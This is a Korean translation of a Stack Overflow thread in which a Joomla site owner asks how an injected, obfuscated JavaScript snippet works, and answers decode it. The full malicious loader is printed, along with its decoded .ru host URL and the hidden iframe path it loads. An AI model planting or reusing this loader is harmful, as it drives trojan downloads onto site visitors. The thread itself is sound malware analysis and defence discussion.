이 사이트 감염 스크립트는 어떻게 작동합니까?


99

내 Joomla! 웹 사이트가 반복적으로 해킹당했습니다. 누군가 어떻게 든 다음과 같은 쓰레기를 주요 PHP 스크립트에 주입했지만 Joomla를 구성하는 것에 대해 이야기하지는 않습니다. 사이트는 많이 방문하지 않았고 (때로는 내가 그 사이트의 유일한 방문자일지도 모른다는 두려움이 있습니다 ...) 사이트를 백업하고 실행하는 데별로 신경 쓰지 않습니다. 결국 처리하겠습니다.

제 질문은이 쓰레기는 어떻게 작동합니까? 나는 그것을 보았고 이것이 어떻게 해를 끼칠 수 있는지 보지 못합니까? 그것이하는 일은 트로이 목마에 감염된 ChangeLog.pdf라는 PDF 파일을 다운로드하려고 시도하는 것입니다.이 파일은 트로이 목마에 감염된 후 열면 Acrobat이 동결되고 컴퓨터에 큰 피해를줍니다. 어떻게 그럴까요, 모르겠어요, 상관 없어요. 그러나 다음 스크립트는 어떻게 다운로드를 호출합니까?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET 에서이 코드를 JS / TrojanDownloader.Agent.NRO 트로이 목마 로 감지했습니다.


41
호기심으로 링크를 확인하기 위해 방황하지 마십시오!
DOK

1
네, 무슨 일이 일어나고 있는지 알아 내려고 돌아 다니지 마십시오. 마술은 URL의 간단한 인코딩과 줄 끝에서 볼 수있는 Replace / RegEx를 사용하여 문자열의 후속 디코딩 / 파싱에 있습니다.
DoctorLouie

13
"대본의 조각"은 처음에는 상당히 다른 것처럼 읽혔습니다.
Aditya MP

답변:


181

replace거대한 지저분한 문자열 뒤에 있는 호출을 주목하십시오 : .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

대부분의 특수 문자를 제거하여 일반 URL로 바꿉니다.

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(I 수동 변경 http:evil:)

정규식은 다음과 같이 단순화 될 수 있습니다. .replace(/[#$@^&()!]/ig, '')

스크립트를 보면 /index.php?ys동일한 도메인 의 경로 를 포함하는 숨겨진 IFRAME을 삽입하는 매우 간단한 스크립트라는 것을 알 수 있습니다.

Fiddler에서 해당 페이지를 요청했지만 콘텐츠가 없습니다.


6
매번 pdf 다운로드가 시작되지 않도록 iframe의 내용을 제공하는 스크립트가 만들어져 있다고 생각합니다. 10 분의 1의 기회가있을 수 있습니다. Joomla 페이지를 새로 고칠 때마다 pdf를 다운로드하지 않았습니다. 100 분의 1이 될 수도 있습니다 ... 누가 알 겠어요?
Peter Perháč

174
+1은 코드가 더 효율적으로 작성 될 수 있음을 언급합니다. :)
Pekka

8
@Pekka, 나는 그것이 더 모호해 지도록 의도적으로 그렇게 작성되었다고 생각합니다
Elliptical view

7
@Elipticalview 확실히. 작가가 효율성에 대해 걱정했다면 정적 문자열을 파생하기 위해 RegEx 대체를 사용하지 않았을 것입니다. Lol.
Dan Bechard 2014

대소 문자를 구분하지 않는 패턴 수정자가 문자가없는 패턴에 대해 어떤 좋은 일을하는지 모르겠습니다. +정규식을 사용하는 경우 문자 클래스 이후에도 사용할 것 입니다.
mickmackusa 19 년

34

이 답변은 악성 JavaScript 코드의 특성을 이해하는 데 도움이 될 수 있지만 Joomla 엔진에 내재 된 허점을 닫는 방법을 찾아야합니다. 사전 패키징 된 프레임 워크는 특히 유닉스, Mac 및 Windows 환경에서 작동하도록 설계되었다는 점을 고려할 때 의도적이든 비 의도적이든 허점에 취약합니다.

내 업무를 수행하려면 클라이언트와 나 자신을 위해 여러 유형의 서버와 시스템에서 많은 도메인, 응용 프로그램 및 프레임 워크를 실행해야합니다. 시간이 지남에 따라 점점 더 많은 봇이 이러한 프레임 워크에 의해 생성 된 백도어 입구의 알려진 허점 / 입구를 찾기 위해 이러한 시스템을 크롤링하는 것을 보았습니다. 내가 거의하지 않는 어떤 유형의 프레임 워크를 사용할 때 좋은 점은, 성가신 허점 / 백도어를 제거하기 위해 전체 파일 구조가 아니더라도 대부분의 이름을 바꾸도록합니다. 최소한 대부분의 봇을 버리는 디렉토리의 이름을 바꿀 수 있지만, 내 방식은 디렉토리뿐만 아니라 전체 파일 구조의 이름 변경을 포함하는 프레임 워크의 특성에 대한 단서를 제공하는 참조를 완전히 제거하는 것입니다. 기본 프레임 워크에 플러그인을 쉽게 추가 할 수 있도록 항상 이전 이름 ​​지정 규칙과 관련된 새 이름 지정 규칙의 맵을 유지하십시오. 이 방법에 익숙해지면 더 빠른 결과를 위해 전체 프레임 워크 파일 구조의 이름을 프로그래밍 방식으로 변경할 수 있습니다. 이는 플러그인 등으로 프레임 워크를 업데이트 할 수 있어야하는 클라이언트를 처리해야 할 때 특히 유용합니다.


1
프레임 워크의 소스에 대한 정보를 제거하지 마십시오. 그것은 완전히 잘못된 것입니다.
DoctorLouie

2
감사합니다. 좋은 대답입니다. 실제로 매우 흥미로운 읽기와 좋은 제안 이었기 때문에 실제로 질문에 답하지는 않지만 여전히 +1했습니다. Ta
Peter Perháč

20

그것은 당신에게 제공하기 위해 스크립트 URL에서 정규식을 대체합니다.

참고 : 아래 링크를 따르지 마십시오 ( **복사 붙여 넣기를 방지하기 위해 삽입 됨).

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

src


그렇게 간단 하죠? 세상에는 ... 내가하고 PWND SO 다시 :)에 의해 한
피터 Perháč

23
재미있는 URL입니다.
Jordan Running

@Josh-그것은 당신에게 달려 있습니다, 나는 그것을 시도하지 않았으므로 정확한 이유를 말할 수 없습니다. 페이지에 악성 스크립트가있는 것 같습니다. 자신의 책임하에 그렇게 할 수 있습니다!
Russ Cam

8

regex를 사용하여 쓰레기 문자를 대체하기 위해 replace 함수를 사용합니다. 코드에는 아무런 문제가 없습니다.

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

로드 스크립트

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

그리고 그 스크립트 iframe는 가시성과 함께 로드 됩니다.hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

전체 내용을 읽으면 문자열 다음에 replace 명령이 있음을 알 수 있습니다.


2

index *. * 파일의 내 페이지에 동일한 내용이 있습니다. PHP로 내 자신의 코드를 작성하고 있습니다. 제 질문은 이것이 어떻게 작동하는지가 아니라 백도어를 알고 있다면 보호하는 방법을 묻고 있습니다. 양식을 변경하고 $ _POST 및 $ _GET을 <> 및 http : // 등으로 대체했습니다.


2

내 2 센트. Joomlapack과 같은 Joomla 백업 도구를 설치할 수 있습니까?

강도가 강도를 당할 경우를 대비하여 물품을 편리하게 보관하기 위해 CHRON 스크립트를 통해 실행되도록 설정했습니다.

어떤 버전의 Joomla를 실행하고 있습니까?

1.0.X 버전은 더 이상 업데이트되지 않으며 실제로 나이가 표시되기 시작했습니다. 백업을 수행하고 1.5로 업그레이드하고 1.6의 경이로움을 예상해야합니다.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.